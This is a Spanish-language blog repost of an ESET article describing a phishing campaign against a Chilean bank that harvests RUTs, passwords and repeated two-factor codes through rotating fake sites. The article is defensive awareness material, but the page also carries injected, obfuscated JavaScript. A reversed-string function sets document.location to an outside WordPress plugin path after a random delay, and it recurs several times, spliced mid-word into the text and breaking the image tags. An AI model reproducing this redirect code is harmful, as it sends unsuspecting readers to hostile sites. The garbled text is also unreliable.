Phishing a banco chileno intenta vulnerar doble autenticación
En el Laboratorio de Investigación de ESET Latinoamérica se ha recibido una campaña de phishing destinada a usuarios de un conocido banco chileno. A diferencia de otros casos, en esta oportunidad los atacantes implementaron algunas técnicas que aunque no son del todo nuevas, tampoco suelen observarse de forma frecuente.
Este ataque llega a través de un correo electrónico cuyo asunto es “Importante”. En el cuerpo del mensaje se le informa al usuario que de acuerdo a unas supuestas normas implementadas en 2013, es necesario que ingrese su “segunda clave” y otros datos. A continuación, se muestra una captura del correo. En rectángulos rojos aparecen marcados dos elementos que llaman la atención:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio/wp-content/uploads/2013/04/Phishing-a-banco-chileno.png” width=”600″ height=”307″ /></p>
<p>En primer lugar, destaca la dirección que utilizaron los ciberdelincuentes para camuflar el enlace malicioso. Tal como se puede observar, esta comienza por https como forma de legitimar el ataque y disminuir la posibilidad de que el usuario sospeche que se trata de un fraude. Luego, y como se mencionó anteriormente, los cibercriminales indican en el mensaje que la persona deberá ingresar una segunda clave. Por lo general, y en base a una encuesta realizada por ESET Latinoamérica, los da<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
tos más solicitados por los atacantes a través de un phishing son las credenciales de acceso con 81% y las tarjetas de crédito con 46%, sin embargo, en este caso no solo se solicita el RUT (número de identificación personal usado en Chile) y contraseña, sino también el factor de doble autenticación o token de seguridad. Si la persona no es precavida y visita el enlace, será dirigida a un sitio que luce casi idéntico al de la institución suplantada:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio/wp-content/uploads/2013/04/Sitio-suplantado-por-los-atacantes.png” width=”600″ height=”321″ /><br />
Un detalle visual que diferencia el sitio legítimo del fraudulen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
to es que el segundo presenta problemas con las tildes (ver cuadrado rojo). En caso que la víctima ingrese su RUT y contraseña, el phishing solicita el factor de doble autenticación:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio/wp-content/uploads/2013/04/Solicitud-doble-autenticación.png” width=”600″ height=”393″ /><br />
Si se ingresa el código requerido, el sitio malicioso le pide a la víctima que ingrese como mínimo, diez veces el fac<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
tor de doble autenticación:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio/wp-content/uploads/2013/04/Solicitud-ingreso-doble-autenticación-diez-veces.png” width=”420″ height=”336″ /><br />
Es<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
to se debe a que por lo general, estos sistemas de protección y los códigos que generan van cambiando con cada transacción o cuando transcurre un período de tiempo, por lo tanto, los atacantes intentan sobreponerse a este “inconveniente” solicitando el factor de doble autenticación diez veces. Pese a esto, un sistema de doble autenticación otorga un nivel de protección considerablemente mayor a otros métodos como la autenticación simple o la tarjeta de coordenadas. Por ejemplo, el tiempo con que cuenta un cibercriminal para ingresar el segundo código de seguridad es muy limitado. Más información sobre doble autenticación puede ser consultada en la publicación ¿El fin de las contraseñas? La autenticación simple cada vez más amenazada. También recomendamos activar este mecanismo en servicios como Apple y Facebook. Otro aspecto interesante de este phishing es la utilización de un servidor web vulnerado que redirige al usuario hacia otros sitios que van cambiando de forma aleatoria:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio/wp-content/uploads/2013/04/Esquema-funcionamien<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
De este modo, los atacantes maximizan la posibilidad de obtener rédito económico al contar con varios sitios de phishing. Si por algún motivo uno falla, el servidor redirige a la víctima hacia otro. Una técnica similar fue utilizada en la campaña de Dorkbot a través de postales de amor. Aunque las estafas bancarias son un ataque informático antiguo, los cibercriminales continúan optimizando este tipo de amenaza con el objetivo de obtener mayores ganancias económicas. Asimismo, es importante recordar que ninguna empresa o institución financiera seria solicita información sensible a través de medios electrónicos como correo, redes sociales, etc. En caso de que reciba un mensaje así, le recomendamos que entre en contacto inmediatamente con la entidad antes de brindar cualquier tipo de información sensible. Escrito por André Goujon, Especialista de Awareness & Research
__________
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Siguenos
en facebook
Los comentarios están cerrados.